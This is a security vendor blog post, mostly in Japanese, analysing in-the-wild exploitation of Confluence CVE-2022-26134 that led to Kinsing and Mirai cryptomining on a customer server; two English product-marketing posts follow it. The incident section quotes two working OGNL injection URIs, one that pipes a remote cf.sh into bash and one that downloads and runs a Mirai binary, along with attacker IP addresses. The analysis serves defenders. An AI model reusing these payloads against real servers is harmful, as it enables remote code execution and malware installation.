Blog

Inside the SOC

Confluence CVE-2022-26134 ゼロデイの検知とガイダンス

Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
12
Jun 2022
12
Jun 2022
This blog explores the latest vulnerability affecting the Atlassian Confluence suite in June 2022. It contains general guidance and an instance where Darktrace both detected and responded to a customer-facing exploitation of this CVE during the first weekend of in-the-wild attacks. This attack was part of wider crypto-mining activity.

Summary

  • CVE-2022-26134 は、Atlassian Confluence Server または Data Centre 製品 (Cloud ではない) において、脅威アクターが任意のコードを実行することができる、認証されていない OGNL インジェクションの脆弱性です。
  • Atlassianはセキュリティアドバイザリーでいくつかのパッチと一時的な緩和策を公開しています。これは、脆弱性の出現以来、一貫して更新されています。
  • Darktraceは、このCVEの悪用が広まった最初の週末に、悪用の事例を検知し遮断しました。

はじめに

2022年に向けて、セキュリティ業界では、サードパーティの脆弱性と統合に関する懸念が広がっています[1]。すでに Okta (CVE-2022-22965) と Microsoft (CVE-2022-30190) に対して野生の脆弱性が確認されていますが、6 月初旬、Atlassian の Confluence シリーズに対して、リモートコード実行 (RCE) の重大な脆弱性が新たに確認されています。Confluence は、世界中の企業で利用されている Wiki 管理および知識共有のプラットフォームです。この最新の脆弱性 (CVE-2022-26134) は、Confluence Server および Data Centre の全バージョンに影響を及ぼします[2]。このブログでは、脆弱性そのもの、Darktrace が検知・遮断した事例、そして一般ユーザーと既存のDarktrace の両方に対する追加ガイダンスについて説明します。

本CVEは、インジェクションの脆弱性を利用することで、認証なしで任意のコードを実行できるようになります。インジェクション型の攻撃は、意図しない結果を引き起こすために、ウェブアプリケーションにデータを送信することで機能します。この例では、Confluence サーバのメモリに OGNL (Object-Graph Navigation Language) 式を注入することが含まれます。これは、サーバへの HTTP リクエストの URI に式を配置することで行われます。脅威アクターは、サーバーを再探索することなく、ウェブシェルと対話し、さらに悪質なコードを展開することができます。この悪用の概念実証(POC)は、オンラインでもいくつか確認されていることは注目に値します[3]。広く知られた重要な脆弱性であるため、さまざまな脅威が無差別に使用しています。[4]

Atlassianは、Confluence Cloud (AWS 経由) でホストされているサイトにはこの脆弱性はなく、自社で Confluence サーバーを運用している組織に限定されると助言しています。[2]

ケーススタディ:欧州の報道機関

このゼロデイを悪用した最初の実戦的な攻撃は、米国のメモリアルデーの週末に時間外に行われた攻撃としてアトラシアンに報告されました[5] 。Darktrace アナリストは、わずか数日後に、欧州のメディアプロバイダーのネットワーク内で、このエクスプロイトの同様のインスタンスを確認しました。これは、このアカウントに影響を与えた、より広範な一連の侵害の一部であり、複数の脅威アクターが関与している可能性があります。また、このタイミングは、他の組織に対するより広範な悪用の試みの開始と一致しています。[6]

6月3日の夜、Darktrace DETECT は、ある企業の Confluence サーバーで curl/7.61.1 ユーザーエージェントの新しい text/x-shellscript のダウンロードを特定しました。これは、194.38.20[.]166 という珍しい外部 IP アドレスから発信されていました。最初の侵害は、その少し前に 95.182.120[.]164 (ロシアの疑わしい IP) から来た可能性がありますが、接続が暗号化されていたため、確認できませんでした。このダウンロードの直後に、ファイルの実行とcurlエージェントを含むアウトバウンドHTTPが行われました。さらに 185.234.247[.]8 からの実行ファイルのダウンロードが試みられましたが、これは Darktrace RESPOND の 自律遮断機能によってブロックされました。にもかかわらず、Confluenceサーバーは、非標準のポートでMinergateプロトコルを使用したセッションの提供を開始しました。マイニングに加えて、これは、VirusTotal OSINTでまだ悪意のあるものとしてフラグが立てられていない、別の珍しいロシアのIP、45.156.23[.]210へのビーコン接続の失敗も伴っていました(図1および図2)。[7][8]

図 1 および図 2: Minergate 活動およびビーコン失敗時に接続されたロシア IP の未評価 VirusTotal ページ。Darktraceによる Confluence 悪用へのこれらの IP の関与の特定は、OSINT プロファイルに悪意のある評価が追加される前に行われました。

Minergateはオープンな暗号マイニングプールで、ユーザーはデジタル通貨を得るために、コンピュータのハッシュパワーをより大きなマイニングデバイスのネットワークに追加することができます。興味深いことに、Confluenceが金銭的な利益のために重要な脆弱性を悪用されたのは、今回が初めてではありません。2021年9月には、CVE-2021-26084という別のRCE脆弱性があり、これも無防備なデバイスにクリプトマイナーをインストールするために悪用されました。[9]

ビーコン活動の試行中に、Darktrace は最初のcurlエージェントを使用して2つのcf.shファイルをダウンロードしたことが強調されました。その後、さらに悪質なファイルがデバイスによってダウンロードされました。URIと一緒にVirusTotal(図3)からのエンリッチメントにより、これらはKinsingシェルスクリプトであることが確認されました[10][11]。Kinsingは、2020年からのマルウェア株で、主に kdevtmpfsi という名前の別のクリプトマイナーのインストールに使用されました。RESPONDは、このマイナーの使用を軽減するために、Suspicious File Blockを発動させました。しかし、これらのダウンロードの後、追加のMinergate接続の試みが引き続き観察されました。これは、1つまたは複数のスクリプトの実行が成功したことを示す可能性があります。

Figure 3: VirusTotal confirming evidence of Kinsing shell download

CVE-2022-26134 の悪用のより具体的な証拠が、6 月 4 日の午後に検知されました。Confluence Server は、以下の URI とリダイレクト先を持つ HTTP GET リクエストを受信しました。

/${new javax.script.ScriptEngineManager().getEngineByName(“nashorn”).eval(“new java.lang.ProcessBuilder().command(‘bash’,’-c’,’(curl -s 195.2.79.26/cf.sh||wget -q -O- 195.2.79.26/cf.sh)|bash’).start()”)}/

これは、OGNLインジェクション攻撃のデモンストレーションと考えられます(図3および図4)。nashorn は、JavaScript コードの解釈に使用される Nashorn Engine を指し、本 CVE のエクスプロイトで使用されたアクティブなペイロード内で確認されています。成功した場合、脅威アクターは、通常はポート使用に対する制限が少なく、継続的な接続が容易なリバースシェルを提供される可能性があります[12]。インジェクションの後、サーバは、継続的なクリプトマイニングやSSLビーコンの試行など、より多くの侵害の兆候を示しました。

図 4 および 図5:Darktraceの 高度な検索機能により、最初の OGNL インジェクションおよびエクスプロイト時間が強調表示されています

このインジェクションの後、別の悪用が確認されました。Mirai ボットネットを示す新しいユーザーエージェントと URI が、同じ Confluence の脆弱性を利用して、さらに多くのクリプトマイニングを確立しようとしました(図 6)。Mirai 自体もバックドアとして、また永続性を得るための手段として展開された可能性があります。

Figure 6: Model breach snapshot highlighting new user agent and Mirai URI

/${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(“wget 149.57.170.179/mirai.x86;chmod 777 mirai.x86;./mirai.x86 Confluence.x86”).getInputStream(),”utf-8”)).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(“X-Cmd-Response”,#a))}/

このインシデントの間、Darktraceの Proactive Threat Notification サービスは、Minergate と疑わしい Kinsing のダウンロードの両方をお客様に警告しました。これにより、SOCの専任アナリストがリアルタイムでイベントのトリアージを行い、お客様自身の内部調査や最終的な修復のためにさらなる情報を提供できるようになりました。ゼロデイがしばしば脅威アクターと防御側の間の競争とみなされる中、このインシデントは、Darktraceの 検知能力が既知と新規の双方の侵害に追いつくことができることを明確にしています。

このインシデントで発見されたモデルの検知と侵害の指標の全リストは、付録でご覧いただけます。

Darktrace のカバレッジとガイダンス

KinsingシェルスクリプトからNashornエクスプロイトまで、このインシデントでは、さまざまな悪意のあるペイロードとエクスプロイト手法が紹介されました。シグネチャ・ソリューションは古い指標を検知することができますが、Darktrace のモデル検知は新たな指標を可視化することができます。モデルは、エクスプロイト、実行、コマンド&コントロール、アクション・オン・オブジェクティブなどのキルチェーンステージをカバーして突破しました(図7)。Darktrace DETECTがインシデント全体に包括的な可視性を提供することで、脅威を明確に調査または記録し、将来的に同様のインシデントにならないように警告することができました。また、大量の暗号マイニングを含むいくつかの行動がグループ化され、AI Analystによって提示され、調査プロセスをサポートしました。

図 7: エクスプロイトイベントの周辺にある Confluence Server のモデル違反のクラスターを示すデバイスグラフ

検知だけでなく、お客様はRESPONDをアクティブモードにして、いくつかの悪意のある活動をリアルタイムに対処することを保証しました。自律的なレスポンスの例としては、以下のようなものがあります。

  • Antigena / Network / External Threat / Antigena Suspicious Activity Block
  • 176.113.81[.]186 ポート80, 45.156.23[.]210 port 80, 91.241.19[.]134 ポート80 への接続を1時間ブロック
  • Antigena / Network / External Threat / Antigena Suspicious File Block
  • 194.38.20[.]166 ポート80への接続を2時間ブロック
  • Antigena / Network / External Threat / Antigena Crypto Currency Mining Block
  • 176.113.81[.]186 ポート80への接続を24時間ブロック

Darktrace のお客様には、以下のような対応いただくことで、この遮断機能の価値を最大化することができます。

  • Darktrace RESPOND の展開を確認する
  • 定期的にRESPONDのブリーチを確認し、RESPONDをHuman Confirmation モードではなくActive モードに設定する(そうしないと、顧客のセキュリティチームが手動で遮断機能を起動する必要がある)
  • Confluence サーバーにAntigena External ThreatAntigena Significant AnomalyAntigena Allのいずれかのタグを付ける
  • RESPOND が適切なファイアウォールを統合していることを確認する

各手順の詳細については、カスタマーポータルの製品ガイドをご覧ください。

CVE-2022-26134 に対するより広い推奨事項

Darktrace の製品ガイダンスに加え、ベンダーからのいくつかの推奨アクションがあります:

  • Atlassian では、この脆弱性が修正された以下のバージョンへのアップデートを推奨しています:7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4 および 7.18.1.
  • アップデートができない場合、一時的な緩和措置が正式なセキュリティ勧告に記載されています
  • インターネットに接続されるサーバーが最新であり、安全なコンプライアンスを実践していることを確認する

付録

Darktrace によるモデル検知

  • Anomalous Connection / New User Agent to IP Without Hostname
  • Anomalous File / EXE from Rare External Location
  • Anomalous File / Script from Rare External
  • Anomalous Server Activity / Possible Denial of Service Activity
  • Anomalous Server Activity / Rare External from Server
  • Compromise / Crypto Currency Mining Activity
  • Compromise / High Volume of Connections with Beacon Score
  • Compromise / Large Number of Suspicious Failed Connections
  • Compromise / SSL Beaconing to Rare Destination
  • Device / New User Agent

IoCs

Hyeongyung Yeomと脅威調査チームの本ブログへの寄稿に感謝します。

脚注

1. https://www.gartner.com/en/articles/7-top-trends-in-cybersecurity-for-2022

2. https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

3. https://twitter.com/phithon_xg/status/1532887542722269184?cxt=HHwWgMCoiafG9MUqAAAA

4. https://twitter.com/stevenadair/status/1532768372911398916

5. https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence

6. https://www.cybersecuritydive.com/news/attackers-atlassian-confluence-zero-day-exploit/625032

7. https://www.virustotal.com/gui/ip-address/45.156.23.210

8. https://www.virustotal.com/gui/ip-address/176.113.81.186

9. https://securityboulevard.com/2021/09/attackers-exploit-cve-2021-26084-for-xmrig-crypto-mining-on-affected-confluence-servers

10. https://www.virustotal.com/gui/file/c38c21120d8c17688f9aeb2af5bdafb6b75e1d2673b025b720e50232f888808a

11. https://www.virustotal.com/gui/file/5d2530b809fd069f97b30a5938d471dd2145341b5793a70656aad6045445cf6d

12. https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134

INSIDE THE SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
AUTHOR
ABOUT ThE AUTHOR
Gabriel Few-Wiegratz
Head of Threat Intelligence Hub
Book a 1-1 meeting with one of our experts
この記事を共有
USE CASES
該当する項目はありません。
PRODUCT SPOTLIGHT
該当する項目はありません。
COre coverage
該当する項目はありません。

More in this series

該当する項目はありません。

Blog

Eメール

Looking Beyond Secure Email Gateways with the Latest Innovations to Darktrace/Email

Default blog imageDefault blog image
09
Apr 2024

Organizations Should Demand More from their Email Security

In response to a more intricate threat landscape, organizations should view email security as a critical component of their defense-in-depth strategy, rather than defending the inbox alone with a traditional Secure Email Gateway (SEG). Organizations need more than a traditional gateway – that doubles, instead of replaces, the capabilities provided by native security vendor – and require an equally granular degree of analysis across all messaging, including inbound, outbound, and lateral mail, plus Teams messages.  

Darktrace/Email is the industry’s most advanced cloud email security, powered by Self-Learning AI. It combines AI techniques to exceed the accuracy and efficiency of leading security solutions, and is the only security built to elevate, not duplicate, native email security.  

With its largest update ever, Darktrace/Email introduces the following innovations, finally allowing security teams to look beyond secure email gateways with autonomous AI:

  • AI-augmented data loss prevention to stop the entire spectrum of outbound mail threats
  • an easy way to deploy DMARC quickly with AI
  • major enhancements to streamline SOC workflows and increase the detection of sophisticated phishing links
  • expansion of Darktrace’s leading AI prevention to lateral mail, account compromise and Microsoft Teams

What’s New with Darktrace/Email  

Data Loss Prevention  

Block the entire spectrum of outbound mail threats with advanced data loss prevention that builds on tags in native email to stop unknown, accidental, and malicious data loss

Darktrace understands normal at individual user, group and organization level with a proven AI that detects abnormal user behavior and dynamic content changes. Using this understanding, Darktrace/Email actions outbound emails to stop unknown, accidental and malicious data loss.  

Traditional DLP solutions only take into account classified data, which relies on the manual input of labelling each data piece, or creating rules to catch pattern matches that try to stop data of certain types leaving the organization. But in today’s world of constantly changing data, regular expression and fingerprinting detection are no longer enough.

  • Human error – Because it understands normal for every user, Darktrace/Email can recognize cases of misdirected emails. Even if the data is correctly labelled or insensitive, Darktrace recognizes when the context in which it is being sent could be a case of data loss and warns the user.  
  • Unclassified data – Whereas traditional DLP solutions can only take action on classified data, Darktrace analyzes the range of data that is either pending labels or can’t be labeled with typical capabilities due to its understanding of the content and context of every email.  
  • Insider threat – If a malicious actor has compromised an account, data exfiltration may still be attempted on encrypted, intellectual property, or other forms of unlabelled data to avoid detection. Darktrace analyses user behaviour to catch cases of unusual data exfiltration from individual accounts.

And classification efforts already in place aren’t wasted – Darktrace/Email extends Microsoft Purview policies and sensitivity labels to avoid duplicate workflows for the security team, combining the best of both approaches to ensure organizations maintain control and visibility over their data.

End User and Security Workflows

Achieve more than 60% improvement in the quality of end-user phishing reports and detection of sophisticated malicious weblinks1

Darktrace/Email improves end-user reporting from the ground up to save security team resource. Employees will always be on the front line of email security – while other solutions assume that end-user reporting is automatically of poor quality, Darktrace prioritizes improving users’ security awareness to increase the quality of end-user reporting from day one.  

Users are empowered to assess and report suspicious activity with contextual banners and Cyber AI Analyst generated narratives for potentially suspicious emails, resulting in 60% fewer benign emails reported.  

Out of the higher-quality emails that end up being reported, the next step is to reduce the amount of emails that reach the SOC. Darktrace/Email’s Mailbox Security Assistant automates their triage with secondary analysis combining additional behavioral signals – using x20 more metrics than previously – with advanced link analysis to detect 70% more sophisticated malicious phishing links.2 This directly alleviates the burden of manual triage for security analysts.

For the emails that are received by the SOC, Darktrace/Email uses automation to reduce time spent investigating per incident. With live inbox view, security teams gain access to a centralized platform that combines intuitive search capabilities, Cyber AI Analyst reports, and mobile application access. Analysts can take remediation actions from within Darktrace/Email, eliminating console hopping and accelerating incident response.

Darktrace takes a user-focused and business-centric approach to email security, in contrast to the attack-centric rules and signatures approach of secure email gateways

Microsoft Teams

Detect threats within your Teams environment such as account compromise, phishing, malware and data loss

Around 83% of Fortune 500 companies rely on Microsoft Office products and services, particularly Teams and SharePoint.3

Darktrace now leverages the same behavioral AI techniques for Microsoft customers across 365 and Teams, allowing organizations to detect threats and signals of account compromise within their Teams environment including social engineering, malware and data loss.  

The primary use case for Microsoft Teams protection is as a potential entry vector. While messaging has traditionally been internal only, as organizations open up it is becoming an entry vector which needs to be treated with the same level of caution as email. That’s why we’re bringing our proven AI approach to Microsoft Teams, that understands the user behind the message.  

Anomalous messaging behavior is also a highly relevant indicator of whether a user has been compromised. Unlike other solutions that analyze Microsoft Teams content which focus on payloads, Darktrace goes beyond basic link and sandbox analysis and looks at actual user behavior from both a content and context perspective. This linguistic understanding isn’t bound by the requirement to match a signature to a malicious payload, rather it looks at the context in which the message has been delivered. From this analysis, Darktrace can spot the early symptoms of account compromise such as early-stage social engineering before a payload is delivered.

Lateral Mail Analysis

Detect and respond to internal mailflow with multi-layered AI to prevent account takeover, lateral phishing and data leaks

The industry’s most robust account takeover protection now prevents lateral mail account compromise. Darktrace has always looked at internal mail to inform inbound and outbound decisions, but will now elevate suspicious lateral mail behaviour using the same AI techniques for inbound, outbound and Teams analysis.

Darktrace integrates signals from across the entire mailflow and communication patterns to determine symptoms of account compromise, now including lateral mailflow

Unlike other solutions which only analyze payloads, Darktrace analyzes a whole range of signals to catch lateral movement before a payload is delivered. Contributing yet another layer to the AI behavioral profile for each user, security teams can now use signals from lateral mail to spot the early symptoms of account takeover and take autonomous actions to prevent further compromise.

DMARC

Gain in-depth visibility and control of 3rd parties using your domain with an industry-first AI-assisted DMARC

Darktrace has created the easiest path to brand protection and compliance with the new Darktrace/DMARC. This new capability continuously stops spoofing and phishing from the enterprise domain, while automatically enhancing email security and reducing the attack surface.

Darktrace/DMARC helps to upskill businesses by providing step by step guidance and automated record suggestions provide a clear, efficient road to enforcement. It allows organizations to quickly achieve compliance with requirements from Google, Yahoo, and others, to ensure that their emails are reaching mailboxes.  

Meanwhile, Darktrace/DMARC helps to reduce the overall attack surface by providing visibility over shadow-IT and third-party vendors sending on behalf of an organization’s brand, while informing recipients when emails from their domains are sent from un-authenticated DMARC source.

Darktrace/DMARC integrates with the wider Darktrace product platform, sharing insights to help further secure your business across Email Attack Path and Attack Surface management.

結論

To learn more about the new innovations to Darktrace/Email download the solution brief here.

All of the new updates to Darktrace/Email sit within the new Darktrace ActiveAI Security Platform, creating a feedback loop between email security and the rest of the digital estate for better protection. Click to read more about the Darktrace ActiveAI Security Platform or to hear about the latest innovations to Darktrace/OT, the most comprehensive prevention, detection, and response solution purpose built for critical infrastructures.  

Learn about the intersection of cyber and AI by downloading the State of AI Cyber Security 2024 report to discover global findings that may surprise you, insights from security leaders, and recommendations for addressing today’s top challenges that you may face, too.

参考文献

[1] Internal Darktrace Research

[2] Internal Darktrace Research

[3] Essential Microsoft Office Statistics in 2024

続きを読む
著者について
Carlos Gray
Product Manager

Blog

該当する項目はありません。

Managing Risk Beyond CVE Scores With the Latest Innovations to Darktrace/OT

Default blog imageDefault blog image
09
Apr 2024

Identifying Cyber Risk in Industrial Organizations

Compromised OT devices in ICS and SCADA environments pose significant physical risks, even endangering lives. However, identifying CVEs in the multitude of complex OT devices is labor-intensive and time-consuming, draining valuable resources.

Even after identifying a vulnerability, implementing a patch presents its own challenges limited maintenance windows and the need for uninterrupted operations strain IT and OT teams often leading organizations to prioritize availability over security leading vulnerabilities remaining unresolved for over 5 years on average. (1)

Darktrace’s New Innovation

Darktrace is an industry leader in cybersecurity with 10+ years of experience securing OT environments where we take a fundamentally different approach using Self-Learning AI to enhance threat detection and response.

Continuing to combat the expanding threat landscape, Darktrace is excited to announce new capabilities that enable a contextualized and proactive approach to managing cyber risk at industrial organizations.

Today we launch an innovation to our OT Cybersecurity solution, Darktrace/OT, that will add a layer of proactivity, enabling a comprehensive approach to risk management. This industry leading innovation for Darktrace/OT moves beyond CVE scores to redefine vulnerability management for critical infrastructure, tackling the full breadth of risks not limited by traditional controls.  

Darktrace/OT is the only OT security solution with comprehensive Risk Management which includes:

  • Contextualized risk analysis unique to your organization
  • The most realistic evaluation and prioritization of OT risk
  • Effectively mitigate risk across your OT infrastructure, with and without patching.
  • The only OT security solution that evaluates your defenses against Advanced Persistent Threat (APT) Groups.

The most comprehensive prevention, detection, and response solution purpose built for Critical Infrastructures

Darktrace’s Self-Learning AI technology is a cutting-edge innovation that implements real time prevention, detection, response, and recovery for operational technologies and enables a fundamental shift from the traditional approach to cyber defense by learning a ‘pattern of life’ for every network, device, and user.  

Rather than relying on knowledge of past attacks, AI technology learns what is ‘normal’ for its environment, discovering previously unknown threats by detecting subtle shifts in behavior. Through identifying these unexpected anomalies, security teams can investigate novel attacks, discover blind spots, have live time visibility across all their physical and digital assets, and reduce time to detect, respond to, and triage security events.  

  • Achieve greater visibility of OT and IT devices across all levels of the Purdue Model.
  • The industry's only OT security to scale threat detection and response, with a 92% time saving from triage to recovery.  
  • The only OT focused security solution to provide bespoke Risk Management.

To learn more about how Darktrace/OT approaches unique use cases for industrial organizations visit the Darktrace/OT Webpage or join us LIVE at a city near you.

Read more below to discover how new innovations to Darktrace/OT are bringing a new, contextualized approach to Risk Management for Industrial organizations.

For more information on the entire Darktrace/OT Solution read our solution brief here.

Darktrace/OT and New Risk Management

Risk Identification

Leveraging the visibility of Darktrace/OT which identifies individual systems throughout the Purdue Model and the relationship between them, Darktrace/OT identifies high-risk CVEs and presents potential attack routes that go beyond techniques requiring a known exploit, such as misuse of legitimate services. Each attack path will have a mathematical evaluation of difficulty and impact from initial access to the high value objectives.  

Together this gives comprehensive coverage over your real and potential risks from both an attacker and known vulnerability perspectives. OT attack paths as seen here even leverage insights between the industrial and corporate communications to reveal ways threat actors may take advantage of IT-OT convergence. This revelation of imperceptible risks fills gaps in traditional risk analysis like remote access and insider threats.

Figure 1: Darktrace/OT visualizing the most critical attack paths at an organization
Figure 1: Darktrace/OT visualizing the most critical attack paths at an organization
Figure 2: A specific Attack Path identified by Darktrace/OT

Risk Prioritization

Darktrace/OT prioritizes remediations and mitigations based on difficulty and damage to your unique organization, using the established Attack Paths.

We ascertain the priorities that apply to your organization beyond pure theoretical damage answering questions like:

  • How difficult is a particular vulnerability to exploit considering the steps an attacker would require to reach it?
  • And, how significant would the impact be if it was exploited within this particular network?

This expanded approach to risk prioritization has a much more comprehensive evaluation of your organization's unique risk than has ever been possible before. Traditional approaches of ranking only known vulnerabilities with isolated scores using CVSS and exploitability metrics, often leaves gaps in IT-OT risks and is blind to legitimate service exploitation.

Figure 3: Darktrace/OT leverages its contextual understand of the organization’s network to prioritize remediation that will have the positive impact on the risk score

Darktrace provides mitigation strategies associated with each identified risk and the relevant impact it has on your overall risk posture, across all MITRE ATT&CK techniques.

What sets Darktrace apart is our ability to contextualize these mitigations within the broader business. When patching vulnerabilities directly isn’t possible, Darktrace identifies alternative actions that harden attack paths leading to critical assets. Hardening the surrounding attack path increases the difficulty and therefore reduces the likelihood and impact of a breach.

That means unpatched vulnerabilities and vulnerable devices aren’t left unprotected. This also has an added bonus, those hardening techniques work for all devices in that network segment, so apply one change, secure many.

Figure 4: Darktrace prioritizes mitigation reducing accessibility of vulnerability and the overall risk score when patches aren’t available

Communicate Board Level Risk with APT Threat Mapping

Darktrace/OT bridges theory and practice as the only security solution that maps MITRE techniques, frequently used by APT Groups, onto AI-assessed critical Attack Paths. This unique solution provides unparalleled insights including sector and location intelligence, possible operating platforms, common techniques, exploited CVEs, and the number of potential devices affected in your environment, supporting holistic risk assessment and proactive defense measures.

Ultimately, this becomes a power dashboard to communicate board level risk, using both metric based evidence and industry standard threat mapping.

結論

Darktrace/OT is part of the Darktrace ActiveAI Security Platform a native, holistic, AI-driven platform built on over ten years of AI research. It helps security teams shift to more a productive mode, finding the known and the unknown attacks and transforming the SOC with the various Darktrace products to drive efficiency gains. It does this across the whole incident lifecycle to lower risk, reduce time spent on active incidents, and drive return on investment.

Discover more about Darktrace's ever-strengthening platform with the upcoming changes coming to our Darktrace/Email product and other launch day blogs.

Join Darktrace LIVE half-day event to understand the reality versus the hype surrounding AI and how to achieve cyber resilience.

Learn about the intersection of cyber and AI by downloading the State of AI Cyber Security 2024 report to discover global findings that may surprise you, insights from security leaders, and recommendations for addressing today’s top challenges that you may face, too.  

参考文献

1. https://research-information.bris.ac.uk/ws/portalfiles/portal/313646831/Catch_Me_if_You_Can.pdf

続きを読む
著者について
Mitchell Bezzina
VP, Product and Solutions Marketing
Our ai. Your data.

Elevate your cyber defenses with Darktrace AI

無償トライアルを開始
Darktrace AI protecting a business from cyber threats.